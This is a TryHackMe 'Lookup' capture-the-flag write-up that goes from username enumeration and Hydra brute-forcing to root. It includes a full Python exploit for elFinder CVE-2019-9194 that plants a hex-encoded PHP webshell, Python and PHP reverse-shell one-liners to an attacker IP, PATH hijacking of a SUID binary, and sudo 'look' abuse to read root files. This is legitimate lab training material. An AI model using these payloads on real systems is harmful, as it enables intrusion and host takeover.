TryHackMe Lookup Writeup: Username Enumeration to Root
Challenge Info
- Platform: TryHackMe
- Room name: Lookup
- Difficulty: Easy
- Goal: Capture the User Flag and the Root Flag
- Link: https://tryhackme.com/room/lookup
Reconnaissance
Hosts configuration
sudo bash -c 'echo "10.201.21.100 lookup.thm" >> /etc/hosts'
Nmap scan
nmap -Pn -sV -sC -p 22,80 10.201.21.100 -T4
Scan results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http Apache/2.4.41 ((Ubuntu))
Directory enumeration
gobuster dir -u http://lookup.thm/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 20 -x php
Paths discovered:
/index.php- login page/login.php- login handler script/styles.css- stylesheet
Step 1: Username enumeration
Finding the vulnerability
Visiting http://lookup.thm reveals a login form. After some testing:
Testing a user that doesn't exist:
curl -X POST http://lookup.thm/login.php \
-d "username=test&password=test"
Response: Wrong username or password.
Testing the admin user:
curl -X POST http://lookup.thm/login.php \
-d "username=admin&password=test"
Response: Wrong password. Please try again.
Key finding: the error messages differ! That means we can enumerate valid usernames.
Enumerating users
I used Burp Suite Intruder to enumerate existing users:
Remember to fix the password first, then brute-force the username.

Users found:
adminjose
Step 2: Password brute-forcing
Brute-forcing with Hydra
Brute-forcing the password for the jose user (admin is usually tougher):
hydra -l jose -P /usr/share/wordlists/rockyou.txt \
lookup.thm \
http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" \
-t 16
Success!
[80][http-post-form] host: lookup.thm login: jose password: password123
Step 3: Discovering a hidden subdomain
What we find after logging in
After logging in with jose:password123, we get redirected to:
http://files.lookup.thm/elFinder/elfinder.html
Key findings:
- There's a hidden subdomain:
files.lookup.thm - It runs the elFinder 2.1.47 file manager
Updating Hosts
sudo bash -c 'echo "10.201.21.100 files.lookup.thm" >> /etc/hosts'
Looking at the important files
Inside elFinder we find several text files, the most important being:
credentials.txt
think : nopassword
thislogin.txt
jose : password123
Step 4: Exploitation - elFinder CVE-2019-9194
Vulnerability info
- CVE: CVE-2019-9194
- Affected versions: elFinder <= 2.1.47
- Vulnerability type: Command Injection
- Exploit: https://www.exploit-db.com/exploits/46481
How the vulnerability works
When elFinder rotates an image it calls the exiftran command, and the filename isn't properly sanitized, which leads to a command injection vulnerability.
Preparing the exploit
Python3 version of the exploit script:
import requests
import json
import sys
# This is python3 version of exploit from: https://www.exploit-db.com/exploits/46481
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# CVE: CVE-2019-9194
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
if len(sys.argv) != 2:
print("Usage: python3 exploit.py [URL]")
sys.exit(0)
def upload(url, payload):
try:
with open('SecSignal.jpg', 'rb') as f:
files = {'upload[]': (payload, f)}
data = {"reqid": "1693222c439f4", "cmd": "upload", "target": "l1_Lw", "mtime[]": "1497726174"}
r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
j = json.loads(r.text)
return j['added'][0]['hash']
except Exception as e:
print(f"[!] Upload failed: {e}")
sys.exit(1)
def img_rotate(url, hash):
r = requests.get(f"{url}/php/connector.minimal.php?target={hash}&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c")
return r.text
def shell(url):
r = requests.get(f"{url}/php/SecSignal.php")
if r.status_code == 200:
print("[+] Pwned! :)")
print("[+] Getting the shell...")
while True:
try:
user_input = input("$ ")
r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
print(r.text)
except KeyboardInterrupt:
print("\nBye kaker!")
sys.exit(0)
else:
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
url = sys.argv[1]
print("[*] Uploading the malicious image...")
hash = upload(url, payload)
print("[*] Running the payload...")
img_rotate(url, hash)
shell(url)
if __name__ == "__main__":
main()Running the exploit
Important: you must use a real JPG image file — a text file won't work!
# 1. Use a real JPG image
cp /path/to/your/photo.jpg SecSignal.jpg
# 2. Confirm it's actually an image
file SecSignal.jpg
# Output: JPEG image data
# 3. Run the exploit
python3 exploit.py http://files.lookup.thm/elFinder
Got a webshell!
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data
Step 4.5: Setting up a reverse shell
Setting up a listener
Although we already have an interactive webshell, I tried to establish a reverse shell for more stable operation:
# Start a listener in Windows PowerShell
ncat -lvnp 4444Attempting the reverse connection
Run the reverse shell payload from the webshell:
Python reverse shell
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.90.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Or a PHP reverse shell
$ php -r '$sock=fsockopen("10.13.90.144",4444);exec("/bin/sh -i <&3 >&3 2>&3");'Result
Reverse shell established successfully.
Step 5: Lateral movement - PATH hijacking
Hunting for SUID files
$ find / -perm -4000 -type f 2>/dev/null
Key finding:
/usr/sbin/pwm
Analyzing the pwm program
Running /usr/sbin/pwm reveals that:
- The program calls the
idcommand to obtain user information - The key point: it calls
idwithout an absolute path - Based on the username, it reads the
/home/{username}/.passwordsfile
The PATH hijacking attack
# 1. Create a fake id command
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id
# 2. Make it executable
$ chmod +x /tmp/id
# 3. Modify PATH (put /tmp at the front)
$ export PATH=/tmp:$PATH
# 4. Run pwm
$ /usr/sbin/pwm
Got think's password list!
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
...
josemario.AKA(think) ← note this one!
...
Step 6: SSH login to grab the User Flag
Password analysis
From the password list, the most suspicious one is:
josemario.AKA(think)
The name contains "think", so it's very likely the SSH password.
SSH login
ssh [email protected]
# Password: josemario.AKA(think)
Logged in successfully!
Grabbing the User Flag
think@ip-10-201-21-100:~$ cat user.txt
RedactedStep 7: Privilege escalation to Root
Checking sudo privileges
think@ip-10-201-21-100:~$ sudo -l
User think may run the following commands on ip-10-201-21-100:
(ALL) /usr/bin/look
We can run /usr/bin/look via sudo!
Abusing the look command
The look command searches a file for lines beginning with a given string.
Reference: GTFOBins - look
Reading the Root Flag
# Use a for loop to try every digit
think@ip-10-201-21-100:~$ for i in {0..9}; do sudo look $i /root/root.txt; done
Redacted
Key Takeaways
1. Username enumeration vulnerability
Telltale signs:
- Different error messages for different users
- "Wrong password" vs "Wrong username or password"
2. elFinder CVE-2019-9194 command injection
How it works:
- The image rotation feature calls an external command
- The filename isn't properly sanitized
- You can inject commands through the filename
3. PATH hijacking (SUID exploitation)
Attack prerequisites:
- A SUID binary
- It calls an external command without an absolute path
- You can control the PATH environment variable
4. Sudo abuse - the look command
Check command:
sudo -l
References:
Exploitation method:
sudo look [char] [file] # read lines starting with a given character
Lessons Learned
On Step 1: username enumeration
This step actually ate up a lot of time up front. The room's intro mentions finding a hidden domain, so before starting to brute-force credentials I ran gobuster to scan for vhosts — but got nothing. I also did directory brute-forcing with gobuster, again without much to show for it. That's what pushed me to start looking at the login page for vulnerabilities. I got stuck here for a while too, checking for SQL injection and so on, before finally realizing I could enumerate users and successfully finding the user jose.
On Step 4: exploitation - elFinder CVE-2019-9194
I'm not sure why, but I spent an enormous amount of time trying to use the exploit script that searchsploit provided, figuring out how to run it, but I just couldn't get it to work. Eventually I found a version on GitHub that also came with usage instructions. The usage instructions really matter — with this kind of exploitation script you absolutely have to understand the method before you know how to use it. See:
Member discussion